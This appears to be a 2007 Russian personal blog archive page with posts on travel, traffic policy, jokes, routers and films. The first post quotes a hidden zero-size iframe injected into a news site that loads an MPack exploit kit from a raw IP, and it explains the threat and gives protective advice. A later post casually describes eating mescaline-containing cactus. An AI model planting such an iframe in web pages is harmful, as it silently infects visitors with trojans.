Всяческий Бред : Jun2007

Только что на rbc.ru наблюдался в странице этот код:

<iframe src="http://81.95.150.42/MPack091cbt/index.php" width=0 height=0></iframe>

Устанавливающий (в моем случае - пытающийся установить) некий троян.

Толи админы там настолько тупорылые, что страницу сломали, то ли это кто-то из них же решил немного подзаработать. Как говориться, охуеть, дайте две...


Для тех, кто не знает что это такое, объясняю предельно просто:

Эксплоитом в среде русскоговорящих компьютерщиков называется способ насильной установки в ваш компьютер без вашего ведома и согласия некоей, обычно вредоносной, программы путем использования ("эксплуатирования" - отсюда и название) недоделок в популярных программных продуктах - Media Player, WinAmp, ICQ, Outlook/Express, MS Internet Explorer. В данном случае пытаются использовать одну из дыр MS Internet Explorer - при простом просмотре страницы есть риск заполучить трояна.

Трояном же называется эта самая незаметно всунутая программа, сидящая обычно более-менее тихо в вашей системе и делающая свое черное дело. Троян может делать что угодно, от вещей почти безобидных до весьма неприятных. Все перечислять не буду, упомяну лишь наиболее серьезные вещи: рассылка спама через ваш компьютер; кража паролей доступа к вашим e-mail аккаунтам, логинов на форумы и т.д.; кража паролей к вашим счетам в webmoney и других платежных системах; кража любой информации которую вы набираете на клавиатуре, в том числе информации о ваших банковских счетах, кредитных картах и т.д.

Надеюсь, это вам уже дало представление о том, почему присутствие эксплоита на rbc.ru является вовсе не пустяком. Это все же весьма посещаемый сайт, а издание им владеющее претендует на звание профессионального.


На всякий случай напишу, что защищаться от подобных вещей нужно следующим образом:

- Постоянно скачивать и устанавливать updates к Windows
- Держать включенным firewall (он вроде счас по умолчанию включен в последних версиях Windows)
- Поставить антивирус и постоянно обновлять его. Популярным является Касперский, но я рекомендую совершенно бесплатный немецкий продукт Avira AntiVir® PersonalEdition Classic служащий мне верой и правдой уже несколько лет.
- По возможности не работать под администратором. Т.е. создать в системе другого пользователя с ограниченными правами и работать под ним (хотя порой это и не удобно).
- По возможности не пользоваться MS Internet Explorer, а использовать FireFox или ставший с недавних пор бесплатным для PC Opera Web Browser.
- По возможности не пользоваться Windows совсем ;)


По двум последним пунктам замечу, что я вовсе не идеологический противник MicroSoft (хотя их продукты часто действительно гавно), но дело в том, что устройство других операционных систем не позволяет так легко впихивать без разрешения какие-либо программ...
Зачитать целиком: На rbc.ru висит эксплоит/троян

Тэги: Jun2007 Разное Новости Полезные сведенья

Как и полагается истинному распиздяю и похуисту, выкладываю более чем через полгода обещанное видео с этой поездки






Все три ролика (включая этот) в хорошем качестве, но намного большего размера, можно скачать тут:

Видео с озера Куикоча, часть 1 Видео с озера Куикоча, часть 2 Видео с озера Куикоча, часть 3

Вообще у меня есть видеокамера. Но как то мне лень ее с собой таскать, так как фото она делает плохо, а, как показала практика, наш народ пока что предпочитает фото, видимо в силу бедности и плохих интернет-каналов. Внезапно я вспомнил, что моя фотокамера так же умеет снимать видео. Качество конечно куда хуже видеокамеры, но, как оказалось, вполне приемлимое для выкладывания в инет. Плюс меньше геммороя с конвертацией. Посему начал снимать короткие ролики, коих и наделал несколько штук в последней поездке. Фото я, разумеется, тоже делал, но его выложу позже, если не лень будет.

Теперь вот только не могу понять, работает ли embed видео или нет. В опере вроде работает отлично, но вот в IE, который валяется заброшенным и непатченным, почему-то показывает черти-что. С другой стороны, оказалось что этот мой IE нихера и ютубовское видео не показывает. Так что теперь мучаюсь в сомнениях...


Небольшая зарисовка водопада Агоян. Сейчас стоящая буквально в 3 км выше электростанция закрыла шлюзы, посему воды в водопаде не много - основная масса идет слева, в то время как при открытых шлюзах справа валит поток раза как минимум в 4 больше. Не собирался кстати снимать тележку с людьми, но она достаточно удачно сама попала в кадр, так что решил продемонстрировать местные туристические средства передвижения. Пользоваться отважится, кстати, далеко не каждый.





А это весьма интересное расстение, которое при прикосновении к его листьям сворачивает их. Видео вышло местами нерезкое (опыта съемки видео этой камерой маловато), но переснять не удалось, повторно расстение сворачиваться отказывается, видимо тканям нужен отдых. Но и так видно.




Съемка весьма впечатляющей панорамы, вид на джунгли с холма. На видео, конечно, не видно деталей, но на фото в ширину не влазит даже половина вида.





Это просто обзор на джунгли, когда мы остановились, пардон, пописать. Было уже изрядно темно, так что качество так себе.
...
Зачитать целиком: Немного коротких роликов с последней поездки

Тэги: Jun2007 Природа Фото/Видео

Возникновение любой молодёжной субкультуры связано с возможностью лучше сближаться с противоположным полом внутри такой субкультуры. Это психологический фактор.
Типа - ты слушаешь такую музыку, ты так одеваешься - и я тоже, значит у нас много близкого. Молодёжь подсознательно стремится в субкультуры именно для этого. ((с)Burroughs)

Для Украины жизненно, в смысле.

Сингапур. Искусственное ограничение числа автомобилей
Действует с 1990 года

Сингапурский способ борьбы с пробками считается одним из самых эффективных в мире, но при этом никто пока не пытался его копировать — он слишком антидемократичен и тоталитарен. Государство, во-первых, ограничивает число продаваемых в стране машин, а во-вторых, взвинчивает цены на них до заоблачных высот.

Чтобы купить в Сингапуре машину, необходимо сначала на специальном аукционе (проводится в интернете — на сайте уполномоченной государственной структуры) приобрести квоту на использование соответствующего транспортного средства в течение 10 лет. Ежемесячно на аукционе разыгрывается 12 000—13 000 разрешений. Сейчас средняя цена квоты на легковушку составляет $7 800, но в 1997 году, до кризиса, цена квоты доходила до $39 000. Кроме квот есть еще ввозная пошлина для автомобилей. Она составляет 41% от стоимости, из-за чего Toyota Corolla у местного дилера в самой бедной комплектации стоит как минимум $35 000, а за скромный Mercedes C-класса просят от $88 000. Но это еще цветочки. Самое страшное — сбор за первую постановку на учет автомобиля, неважно, нового или подержанного. Он составляет 140% от рыночной стоимости машины. Ну а всему вдогонку — прогрессивная шкала дорожных налогов. Короче, чтобы купить себе первую машину, пусть это будет та же Toyota Corolla, нужно заплатить более $100 000.

После этого ужаса прочие ограничения для сингапурского водителя уже не так страшны. На острове действует электронная система оплаты проезда по некоторым скоростным дорогам-фривеям во время пиковых нагрузок утром и вечером. Над въездами на эти участки стоят арки с сенсорами. Каждый автомобиль обязан иметь устройство под специальную смарт-карту, на которую водитель заранее кладет деньги. Иностранные автомобилисты обязаны арендовать прибор и купить карту при въезде на территорию Сингапура. При проезде под аркой с карты автоматически списывается стоимость пользования дорогой ($0,30—1,30). Если машина проскочила под аркой, не оплатив дорожный сбор (недостаточно денег на смарт-карте), ее задний номер фотографируется и отправляется в вычислительный центр. Там его распознает компьютерная программа, и нарушителю отправляется требование об оплате плюс штраф — $6,50. Если оплаты не последовало в течение 28 дней, штраф увеличивается до $46. Во столько же, кстати, обойдется въезд на платный фривей машины, не оборудованной считывающим устройством.

Как отслеживают нарушителей

Благодаря островной изоляции и честной полиции купить машину в обход квот и налогов в Сингапуре невозможно. В коротком своде правил и дорожных провинностей на сайте местной дорожной полиции даже не указано наказание за езду на незарегистрированной машине или без номеров. Если же подобное произойдет, можно легко представить, какое возмездие постигнет нарушителя, если пользование мобильным телефоном во время вождения карается штрафом в $650 или 6 месяцами тюрьмы.

Все дороги находятся под постоянным видеонаблюдением. Сингапурская полиция оснащена по последнему слову техники, хорошо оплачена и не особо церемонится при выдаче штрафов и повесток в суд. Кроме того, сингапурские госслужащие имеют устойчивую репутацию честных и не коррумпированных людей: различные рейтинги постоянно ставят Сингапур в первую десятку наименее взяткоемких стран в мире и на первое место в Азии.
...
Зачитать целиком: Борьба с пробками в крупных городах

Тэги: Jun2007 Общество Полезные сведенья

...который, тем не менее, чуть не порвал меня со смеху. Главное - быть в правильном настроении.


Телефонный звонок на фирму:
- Здравствуйте, можно Сидорова?
- Сидорова нет.
- А в цеху его нет?
- А Овцехуев у нас не работает...

Вывеска ветеринарной клиники:


Ну и заодно:

Кровавая Гебня


AutoVAZ Unleshed

Для игры Вам понадобится:

человек (Вы сами), ванная комната, ванна с натянутыми над ней веревками-лесками для сушки белья, колготки

Как играть:

Надеваете колготки жопой на голову, залезаете в ванну, встаете в ней в полный рост, ноги (колготочные, не свои) забрасываете на веревки для сушки белья. Медленно трогаетесь с места и делаете несколько шагов вперед. В это время вы - троллейбус.

Продолжение, начало тут Часть Первая

На следующий день приезхали в близлежащий город и часа 3 сидели в наиболее пафосном ресторане города (кстати там просто отлично кормят, а цена “пафоса” – 10-15 долларов за трапезу с наполнением до отвала) ожидая “связного”. В итоге оказалось что про нас забыли сообщить и никто бы и не пришел, если бы мы не вызвонили нужных людей по сотовому. Ситуация вполне естественная для Латинской Америки и лично у меня уже не вызывающая ни удивления ни возмущения.

В итоге, нагрузив весь багажник едой (да, еду надо везти с собой, хотя покупали ее не мы, а представители “отеля”), отправились по херовой дороге в джунгли. Надо сказать что багажник и так был изрядно нагружен пивом и прочими алкогольными напитками, заметный урон которым и был нанесен моими спутниками прямо по дороге. Шутки шутками, а ящик пива умудрились прямо в машине выжрать.

Дорога выглядела примерно так, хотя я, разумеется, ее особо не фотографировал, я баранку крутил:


Местами вот так, причем иногда прямо на средину дороги (на картинке еще вполне безопасная ситуация)


В итоге часа через 2 жуткой тряски приехали к табличке, знаменующей отель,



стоящей возле большого дерева (зацените размер по сравнению с 2х метровым по высоте авто):


и стали разгружаться:



От таблички вглубь леса уходила стремная тропинка с еще более стремным мостиком


Пройдя по ней тяжелым уставшим шагом обнаружили сам “отель” или, как это тут называется, лодж.

Лучший (по крайней мере по виду снаружи) из домиков выглядел так:


Но нам достался более страшный:


...
Зачитать целиком: Поездка в Джунгли, часть вторая

Тэги: Жывотные Jun2007 Природа Личное Фото/Видео

Я эту цитату долго искал и не мог найти. Слава богу, свет не без добрых друзей. Очень верное высказывание.

Я, рабъ Божий Васильевъ Дмитрий Михайловичъ, на 30-й минуте управления басурманской самодвижущейся повозкою Мазда 323, будучи одержимъ бесомъ высокомерия, впалъ в грехъ нарушения Заповедей Трактового Передвижения. На перекрестке дорогъ Просвещения и Энгельса (да будет проклят этот антихристъ) я, пренебрегши тем, что семафоръ червленный светъ показывает, при повороте одесницу не пропустил пешехода - отрока с божей тварью псом Тузиком. Нижайше прошу обратить внимание, что Тузик не был намертво принайтован нашейным вервием к вышеозначенному отроку. Тузик, будучи тварью неразумною и одержимый праведным гневом на басурманскую мою повозку, начал лаяти и под колеса мне бросился. Обуянный жалостию ко всякой твари Божией я применил экстренное торможение.

В тот моментъ отроковица на повозке азиатской и потому богомерзкой Хюндай Гетцъ совершала маневръ перестроения за мною, и в результате оного из-за моего экстренного торможения совершила наездъ в мою телегу сзади (схему и списокъ повреждений прилаживаю к сему откровению)

От удара повозка моя продвинулась впередъ и задавила Тузика нахренъ. От оных полученных повреждений тварь Божия Тузик преставилась на месте, о чем скорблю я по сей день печалью безутешною.

Признавая за собой грехъ нарушения пп.1.3 и 1.5 Заповедей Трактового Передвижения готов понести епитимью и пожертвовать районному Храму Воинов Дорог белого быка или равнозначный денежный оброкъ.

В порче же обеих повозокъ виновным себя не признаю, поелику отроковица не соблюдала положенную ей дистанцию, законом свыше нам данную, и вообще бабой неразумной является, причиной грехопадения Адамова

Раз уж пошла такая пьянка с флэш-видео, выкладываю небольшой ролик, снятый в прошлом октябре на высокогорном озере Куикоча. Я так видео и не выложил. Это совсем небольшой ролик, снятый ранним утром. Еще есть два огромных, снятых во время экскурсии по озеру. Не уверен, стоит ли их выкладывать.




Этот ролик был снят видеокамерой, а не фотокамерой, как, например, эти. Разница весьма существенная, хотя вам, возможно, она и не видна. Разница вовсе не в размере картинки, эту я просто увеличил, а те, наоборот, уменьшил. Но не смотря на это качество изображения намного лучше тут, чем там. Плюс относительно малый размер файла, что определяется меньшим количеством шумов. Впрочем, не удивительно, так и должно быть: видео камера для видео, а фотокамера - для фото.

В оригинале "Live Free or Die Hard". На IMDB уже имеет достаточно высокий рейтинг 8.4 из 10. Брюс Виллис сказал, что лично он считает этот фильм лучшим из 4х.





UPDATE: При всем моем уважении к Брюсу Виллису, после просмотра фильма могу сказать, что он таки не лучший из серии. Нет, все вполне на уровне, спецэффекты спецэффектят, злодеи злодеят, хорошие парни побеждают, Брюс Виллис весьма на уровне не смотря на годы и к нему у меня никаких претензий нет, но вот кино в целом как-то не вставляет. Как в анекдоте про фальшивые елочные игрушки. Ну, по крайней мере, не вставляет так, как те старые. Что-то голливуд потерял за эти годы. Вероятно душу. Хотя, может, это просто я состарился...

Вернувшись вчера поздно вечером с попойки был немало расстроен, обнаружив, что купленный всего 2 года назад раутер D-Link DI-784 сдох наглухо.

Надо сказать что раутер был довольно паршивый, не знаю уж в прошивке дело или в самом железе. Поначалу помню он вообще каждый раз перегружался, когда какой-то ноут из домов поблизости включался и начинал искать сеть. Совершенно необъяснимое поведение, кстати. Сеть была закрыта ключом и никто к ней подсоединиться, естественно, не мог. Какого черта раутер перегружался - не понятно. При этом разумеется отваливались все соединения, как WiFi, так и кабельные. Откуда я могу знать что это происходило из-за работы близлежащих WiFi устройств? Ну я, конечно, на 100% не уверен, но при включении моего ноута происходило ровно то же самое - десктоп показывал отвал сети. Так же, после того, как в поисках средств от этой проблемы я уменьшил мощность сигнала в 2 раза (максимальная скорость упала со 100Мбпс до 50Мбпс) проблема почти исчезла, что свидетельствует о правильности хода моей мысли. Потом я таки сменил прошивку на более новую и проблема исчезла совсем. Но были и другие проблемы. Например - два одновременно включенных ноута часто вели себя не адекватно в смысле подключения к сети. Новый ноут иногда самопроизвольно отваливался от сети или не мог подключиться к ней без дополнительного пинка.


В замену был приобретен Linksys WRT54G, вдвое меньший по размерам и вдвое более дешевый, чем стоил 2 года назад D-Link DI-784. Современные D-Link-и кстати тоже были вдвое меньше и даже немного дешевле чем Linksys. И почему-то все встретившиеся мне в торговом центре раутеры были поголовно 54Мбпс, а не 100Мбпс как старый D-link. Хрен его знает чем это объясняется, то ли стандарты на излучение ужесточились, то ли просто в торговом центре все товары были ориентированы на домашнего пользователя, которому, в общем-то, больше и не особо нужно. Linksys я взял как раз помня о проблемах со старым D-link-ом. Все таки типа Cisco, а $10 долларов разницы - говновопрос.


Новый раутер установился за 5 минут и пока что без проблем работает. В комплект раутера включен диск, на раутере наклейка - "запустите диск перед подключением кабелей". При запуске диска появляется пошаговая инструкция по установке из разряда "совсем уж для полных даунов". Что характерно - запустить его по этой процедуре я не смог. Нет, я не тупее дауна, просто вбитый не совсем по правилам адрес гейта раутером не принимался, а программа "для даунов" сообщение об ошибке закономерно не выдавала, просто писала что не может подключиться к инету. Я ее, разумеется, тут же вырубил и прописал все что надо сам, подсоединившись с ним типичным для таких раутеров способом по IP. Пока глюков не замечено, 2 ноута прекрастно соединяются с сетью одновременно. Ну а то что максимальная скорость ограничена 50Мбит вместо 100 - ну так я все равно старый глушил на 50%, а то он до соседнего квартала добивал...


Самое неприятное было в том, что старый раутер похоронил все сетевые настройки, которые я давно стер со всех других мест и битый час восстанавливал шаманскими методами. Собственно потеряны были: сетевой адрес (восстановил элементарно по серверным логам, выйдя в инет через мобилу), адрес DNS-сервера (восстановил путем поиска на уродско сделанном сайте провайдера) и адрес дефолтного гейта (на сайте его почему-то не оказалось, но путем несложных логических рассуждений он был подобран за 2 минуты). Вы конечно можете спросить почему я просто не позвонил в компанию и не спросил эти данные? Да во-первых просто потому, что было уже 12 часов ночи, когда тут никто не работает, а в инет мне надо было лезть по любому, пусть и без сдохшего раутера (просто воткнул кабель прямо в ноут), а во-вторых потому, что у провайдера в поддержке традиционно сидят полные дегенераты, которые первым делом просят удостовериться, что модем включен в розетку и добится от них такой информации зачастую не просто. Это, кстати, вовсе не повод для злости - в поддержку всегда и везде сажают не особо грамотных дураков (чтобы поменьше платить) которые способны отвечать только на очень простые дурацкие вопросы (все равно 98% нормальных пользователей умных вопросов не задает). Так что это чисто вопрос экономической эффективности...


На последок таки мораль - всегда сохраняйте данные настроек подключений и логинов с паролями в надежных местах... желательно в нескольких надежных местах.

... что настала пора опять переделать скрипт этого сайта и сделать как принято - с тегами, более структурированным архивом и прочей поебенью. Систему каментов уже переделал на днях, теперь почти как во всех блогах. Правильно, нехуй было выебываться и изобретать велосипед - следовало пойти и посмотреть как у других сделано. Впрочем, все равно скрипт скорее ради развлечения писался, ради развлечения и переделываться будет, когда делать нечего будет.

Или не, наверное надо было наоборот сказать: интеллект среднего интернет-пользователя уже мало отличается от интеллекта сравнительно не сложного бота.

Один гражданин тут развлекался с вот этим ботом. Бот (в данном случае) - это программа, умеющая имитировать беседу по ICQ. Начало не так интересно, бот работал сильно не в попад, но этот бот умеет обучаться - запоминать фразы, которые использовали его собеседники, поэтому концовка выглядит вообще здорово, хотя, конечно, бот есть бот:

... жуткое мочегонное. Причем, что характерно, съели мы его не достаточно для того, чтобы он произвел какой-либо заметный эффект на психику, но вот для почек его хватило выше крыши.

В данном случае это был сан-педро, младший брат пейота (на самом деле он во много раз крупнее, но концентрация мескалина в нем во много раз меньше).



Походу, он, оказывается, еще и сильный афродизиак, хорошо что я его не съел в достаточном количестве, чтобы почувствовать это в полной мере...

Умирает человек. попадает в рай. его встречает апостол Петр.

Человек: Простите, что вас беспокою, но у меня к вам есть один вопрос
Апостол: Слушаю вас
Ч: Скажите, в чем был смысл моей жизни?
А: Вам правда нужно это знать?
Ч: Очень
А: Помните, вы 1983 году ездили в командировку в Краснодар?
Ч: Э–э.. ну..
А: И вы еще познакомились в купе с попутчиками
Ч: Наверное..
А: И вы пошли вместе в вагон–ресторан
Ч: Да..
А: И за соседним столиком сидела женщина
Ч: Возможно..
А: И она попросила вас передать ей соль
Ч: Эээ.. может быть
А: И вы передали ей соль
Ч: Скорее всего
А: Ну вот…